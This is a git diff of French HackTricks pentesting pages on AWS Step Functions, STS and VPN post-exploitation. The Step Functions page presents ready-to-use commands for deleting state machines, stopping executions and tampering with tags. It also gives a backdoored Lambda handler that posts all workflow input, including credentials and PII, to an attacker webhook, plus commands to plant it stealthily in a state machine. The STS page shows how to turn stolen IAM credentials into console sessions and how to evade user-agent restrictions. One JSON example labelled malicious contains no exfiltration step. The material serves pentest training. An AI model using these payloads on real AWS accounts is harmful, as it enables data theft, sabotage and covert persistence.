@@ -0,0 +1,183 @@
|
||||
# AWS - Step Functions Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Pour plus d'informations sur ce service AWS, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Cette permission permet de **révéler des données secrètes à l'intérieur d'une exécution**. Pour cela, il est nécessaire de définir le niveau d'inspection (Inspection level) sur TRACE et le paramètre revealSecrets sur true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Un attaquant disposant de ces permissions pourrait supprimer de manière permanente des state machines, leurs versions et alias. Cela peut perturber des workflows critiques, entraîner une perte de données et nécessiter un temps important pour récupérer et restaurer les state machines affectées. De plus, cela permettrait à un attaquant d'effacer les traces utilisées, de perturber les investigations forensiques et potentiellement de paralyser les opérations en supprimant des processus d'automatisation essentiels et les configurations d'état.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - En supprimant une state machine, vous supprimez également toutes ses versions et alias associés.
|
||||
> - En supprimant un alias de state machine, vous ne supprimez pas les versions de la state machine faisant référence à cet alias.
|
||||
> - Il n'est pas possible de supprimer une version de state machine actuellement référencée par un ou plusieurs alias.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
# Delete state machine version
|
||||
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Impact potentiel** : Perturbation des workflows critiques, perte de données et indisponibilité opérationnelle.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Un attaquant disposant de cette permission pourrait manipuler la configuration d'échec de Map Run et le paramètre de parallélisme, pouvant augmenter ou diminuer le nombre maximal d'exécutions de workflows enfants autorisées, affectant directement la disponibilité et les performances du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, pouvant réduire cette valeur à 0, de sorte que chaque fois qu'un élément échoue, l'intégralité du Map Run échouerait, affectant directement l'exécution de la state machine et perturbant potentiellement des workflows critiques.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Impact potentiel**: Dégradation des performances et perturbation des workflows critiques.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Un attaquant disposant de cette permission pourrait arrêter l'exécution de n'importe quelle state machine, perturbant les workflows et processus en cours. Cela pourrait entraîner des transactions incomplètes, l'arrêt des opérations commerciales et une possible corruption des données.
|
||||
|
||||
> [!WARNING]
|
||||
> Cette action n'est pas prise en charge par les **express state machines**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Impact potentiel** : Perturbation des workflows en cours, indisponibilité opérationnelle et possible corruption des données.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Un attaquant pourrait ajouter, modifier ou supprimer des tags des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les tags.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impact potentiel** : perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur les tags.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Un attaquant qui compromet un utilisateur ou un rôle disposant des autorisations suivantes :
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...peut mener une **high-impact and stealthy post-exploitation attack** en combinant Lambda backdooring avec Step Function logic manipulation.
|
||||
|
||||
Ce scénario suppose que la victime utilise **AWS Step Functions to orchestrate workflows that process sensitive input**, such as credentials, tokens, or PII.
|
||||
|
||||
Exemple d'invocation de la victime :
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Si la Step Function est configurée pour invoquer une Lambda comme `LegitBusinessLogic`, l'attaquant peut procéder à **deux variantes d'attaque furtives** :
|
||||
|
||||
---
|
||||
|
||||
#### Mise à jour de la fonction Lambda
|
||||
|
||||
L'attaquant modifie le code de la fonction Lambda déjà utilisée par la Step Function (`LegitBusinessLogic`) pour exfiltrer silencieusement les données d'entrée.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
#### Ajouter un état malveillant au Step Function
|
||||
|
||||
Alternativement, l'attaquant peut injecter un **exfiltration state** au début du flux de travail en mettant à jour la définition du Step Function.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
L'attaquant peut être encore plus discret en mettant à jour la définition d'état comme ceci
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
où la victime ne remarquera pas la différence
|
||||
|
||||
---
|
||||
|
||||
### Configuration de la victime (Context for Exploit)
|
||||
|
||||
- A Step Function (`LegitStateMachine`) est utilisée pour traiter des entrées utilisateur sensibles.
|
||||
- Elle appelle une ou plusieurs fonctions Lambda telles que `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Impact potentiel**:
|
||||
- Silent exfiltration de données sensibles, y compris secrets, identifiants, clés d'API et PII.
|
||||
- Aucune erreur visible ou échec dans l'exécution du workflow.
|
||||
- Difficile à détecter sans auditer le code Lambda ou les traces d'exécution.
|
||||
- Permet une persistance à long terme si la backdoor reste dans le code ou la logique ASL.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +1,23 @@
|
||||
# AWS - STS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
Pour plus d'informations :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### De IAM Creds vers Console
|
||||
### From IAM Creds to Console
|
||||
|
||||
Si vous avez réussi à obtenir des IAM credentials, vous pourriez être intéressé par l'accès au web console en utilisant les outils suivants.\
|
||||
Notez que le user/role doit avoir la permission **`sts:GetFederationToken`**.
|
||||
Si vous avez réussi à obtenir des identifiants IAM, vous pourriez être intéressé par **l'accès à la console web** en utilisant les outils suivants.\
|
||||
Notez que l'utilisateur/le rôle doit disposer de la permission **`sts:GetFederationToken`**.
|
||||
|
||||
#### Script personnalisé
|
||||
|
||||
Le script suivant utilisera le profile par défaut et une région AWS par défaut (pas gov et pas cn) pour vous fournir une URL signée que vous pouvez utiliser pour vous connecter au web console:
|
||||
Le script suivant utilisera le profil par défaut et une région AWS par défaut (not gov and not cn) pour vous fournir une URL signée que vous pourrez utiliser pour vous connecter à la console web :
|
||||
```bash
|
||||
# Get federated creds (you must indicate a policy or they won't have any perms)
|
||||
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
||||
@@ -75,11 +75,11 @@ aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
|
||||
aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
```
|
||||
> [!NOTE]
|
||||
> Vous pouvez aussi utiliser **aws-vault** pour obtenir une **browser console session**
|
||||
> Vous pouvez aussi utiliser **aws-vault** pour obtenir une **session de console dans le navigateur**
|
||||
|
||||
### **Contourner les restrictions User-Agent depuis Python**
|
||||
### **Bypass User-Agent restrictions from Python**
|
||||
|
||||
S'il existe une **restriction empêchant d'effectuer certaines actions en fonction du user agent** utilisé (comme restreindre l'utilisation de la librairie python boto3 selon le user agent), il est possible d'utiliser la technique précédente pour **vous connecter à la web console via un browser**, ou vous pouvez directement **modifier le boto3 user-agent** en faisant :
|
||||
S'il existe une **restriction pour effectuer certaines actions basée sur le user agent** utilisé (comme restreindre l'utilisation de la python boto3 library en fonction du user agent), il est possible d'utiliser la technique précédente pour **se connecter à la web console via un navigateur**, ou vous pouvez directement **modifier le boto3 user-agent** en faisant :
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
@@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
|
||||
```
|
||||
### **`sts:GetFederationToken`**
|
||||
|
||||
Avec cette permission, il est possible de créer une identité fédérée pour l'utilisateur qui l'exécute, limitée aux permissions dont dispose cet utilisateur.
|
||||
Avec cette permission, il est possible de créer une identité fédérée pour l'utilisateur qui l'exécute, limitée aux permissions que cet utilisateur possède.
|
||||
```bash
|
||||
aws sts get-federation-token --name <username>
|
||||
```
|
||||
Le token renvoyé par sts:GetFederationToken appartient à l'identité fédérée de l'utilisateur appelant, mais avec des permissions restreintes. Même si l'utilisateur dispose de droits d'administrateur, certaines actions, telles que la liste des IAM users ou l'attachement de policies, ne peuvent pas être effectuées via le token fédéré.
|
||||
Le token renvoyé par sts:GetFederationToken appartient à l'identité fédérée de l'utilisateur appelant, mais avec des permissions restreintes. Même si l'utilisateur dispose de droits d'administrateur, certaines actions, comme lister des IAM users ou attacher des policies, ne peuvent pas être effectuées via le federated token.
|
||||
|
||||
De plus, cette méthode est un peu plus discrète, puisque l'utilisateur fédéré n'apparaît pas dans l'AWS Portal ; il ne peut être observé que via les CloudTrail logs ou des outils de monitoring.
|
||||
De plus, cette méthode est un peu plus discrète, puisque le federated user n'apparaît pas dans l'AWS Portal ; il ne peut être observé que via les CloudTrail logs ou des outils de monitoring.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +0,0 @@
|
||||
# AWS - VPN Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VPN
|
||||
|
||||
Pour plus d'informations :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,13 @@
|
||||
# AWS - VPN Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VPN
|
||||
|
||||
Pour plus d'informations :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user